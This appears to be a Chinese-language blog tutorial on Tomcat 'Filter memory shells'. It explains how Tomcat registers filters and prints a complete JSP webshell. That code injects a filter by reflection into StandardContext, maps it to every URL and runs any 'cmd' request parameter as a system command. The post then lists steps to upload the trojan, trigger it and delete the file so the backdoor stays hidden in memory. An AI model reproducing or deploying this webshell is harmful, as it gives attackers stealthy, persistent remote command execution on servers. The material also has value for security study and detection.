Loading ...
Java 内存马(二):Filter 内存马

1. 基本概念

Filter(过滤器) 是 Java Web 应用中的一个组件,作用是在请求到达 Servlet 前,对请求和响应进行拦截、预处理或后处理。

特点:

  • 介于 客户端请求Servlet 之间

  • 常见用途:认证、日志记录、请求参数处理

  • 执行顺序:请求先经过 Filter → 再传递给 Servlet → 响应可再次经过 Filter

Filter 内存马 的思路与 Servlet 内存马类似:

  • 利用 运行时动态注册 Filter 的能力

  • 将恶意 Filter 植入内存

  • 所有请求都会经过 Filter,从而实现后门逻辑

2. Filter 装载流程(开发者视角)

2.1 定义 Filter

package com.example.memshell;

import jakarta.servlet.FilterChain;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpFilter;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;

public class MyFilter extends HttpFilter {
    @Override
    protected void doFilter(HttpServletRequest req, HttpServletResponse res,
                            FilterChain chain) throws IOException, ServletException {
        String cmd = req.getParameter("cmd");
        if (cmd != null){
            res.getWriter().println("自定义响应");
        }
        super.doFilter(req, res, chain);
    }
}

2.2 配置 web.xml

<filter>
    <filter-name>MyFilter</filter-name>
    <filter-class>com.example.memshell.MyFilter</filter-class>
</filter>

<filter-mapping>
    <filter-name>MyFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

2.3 Tomcat 加载

  • 启动时,Tomcat 解析 web.xml

  • 创建并初始化 MyFilter 对象

  • 根据 <filter-mapping>,将 /* 的请求都交给 MyFilter 处理

3. Tomcat Filter 加载流程(容器内部机制)

3.1 Web 应用启动

  • Tomcat 在启动时,会调用 ContextConfig#configureStart()

  • 除了解析 Servlet,还会解析 Filter 配置

3.2 Filter 定义(FilterDef)

  • 每个 Filter 的配置会被解析为 FilterDef 对象

  • 包含:Filter 名称、类名、实例对象

3.3 Filter 映射(FilterMap)

  • <filter-mapping> 对应 FilterMap

  • 定义了 Filter 的匹配规则(如 URL pattern、Servlet 名称)

3.4 注册 Filter

  • StandardContext.addFilterDef(def) 注册 Filter 定义

  • StandardContext.addFilterMapBefore(map) 注册映射

  • standardContext.filterStart() 启动 Filter 机制

4. 内存马实现机制

Filter 内存马的实现步骤:

  1. 编写恶意 Filter(执行命令/响应输出)

  2. 获取 StandardContext

    • request.getServletContext() → 反射逐层获取内部 StandardContext

  3. 创建 FilterDef(定义)和 FilterMap(映射)

  4. 调用 API 注册到容器

    • addFilterDef() → 注册 Filter

    • addFilterMapBefore() → 设置 URL 匹配规则

    • filterStart() → 激活 Filter

5. 示例代码(JSP Filter 内存马)

<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="javax.servlet.*, javax.servlet.http.*" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>

<%!
    // 恶意 Filter
    public class ShellFilter implements Filter {
        @Override
        public void init(FilterConfig filterConfig) {}
        @Override
        public void doFilter(ServletRequest req, ServletResponse resp,
                             FilterChain chain) throws IOException, ServletException {
            String cmd = req.getParameter("cmd");
            if (cmd != null) {
                Process proc = Runtime.getRuntime().exec(cmd);
                BufferedReader br = new BufferedReader(
                        new InputStreamReader(proc.getInputStream()));
                String line;
                while ((line = br.readLine()) != null) {
                    resp.getWriter().println(line);
                }
                br.close();
            } else {
                chain.doFilter(req, resp);
            }
        }
        @Override
        public void destroy() {}
    }
%>

<%
    // 1. 获取 StandardContext
    ServletContext servletContext = request.getServletContext();
    Field appCtxField = servletContext.getClass().getDeclaredField("context");
    appCtxField.setAccessible(true);
    ApplicationContext appCtx = (ApplicationContext) appCtxField.get(servletContext);

    Field stdCtxField = appCtx.getClass().getDeclaredField("context");
    stdCtxField.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdCtxField.get(appCtx);

    // 2. 创建恶意 Filter 定义
    ShellFilter filter = new ShellFilter();
    FilterDef def = new FilterDef();
    def.setFilter(filter);
    def.setFilterName("filter-shell");
    def.setFilterClass(filter.getClass().getName());

    // 3. 创建 Filter 映射
    FilterMap map = new FilterMap();
    map.addURLPattern("/*");
    map.setFilterName("filter-shell");

    // 4. 注册到容器
    standardContext.addFilterDef(def);
    standardContext.addFilterMapBefore(map);
    standardContext.filterStart();
%>

6. 触发步骤

  1. 上传 JSP 木马至服务器

  2. 访问 JSP 文件 → 执行注入逻辑,动态注册 Filter

  3. 之后的所有请求都会经过恶意 Filter

    • 请求带参数 cmd → 执行系统命令

    • 请求不带参数 → 正常转发到目标 Servlet

  4. (可选)删除 JSP 文件,Filter 内存马依然驻留

7. 总结

  • Filter 内存马Servlet 内存马 类似,都是利用 Tomcat 的动态注册机制

  • 不同点

    • Servlet 内存马需要手动绑定一个新 URL

    • Filter 内存马则是“全局挂钩”,对所有请求生效(更隐蔽)

  • 关键 API

    • addFilterDef()

    • addFilterMapBefore()

    • filterStart()

  • 优势:由于 Filter 位于请求链前端,可以实现更强的隐藏性和通用性

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇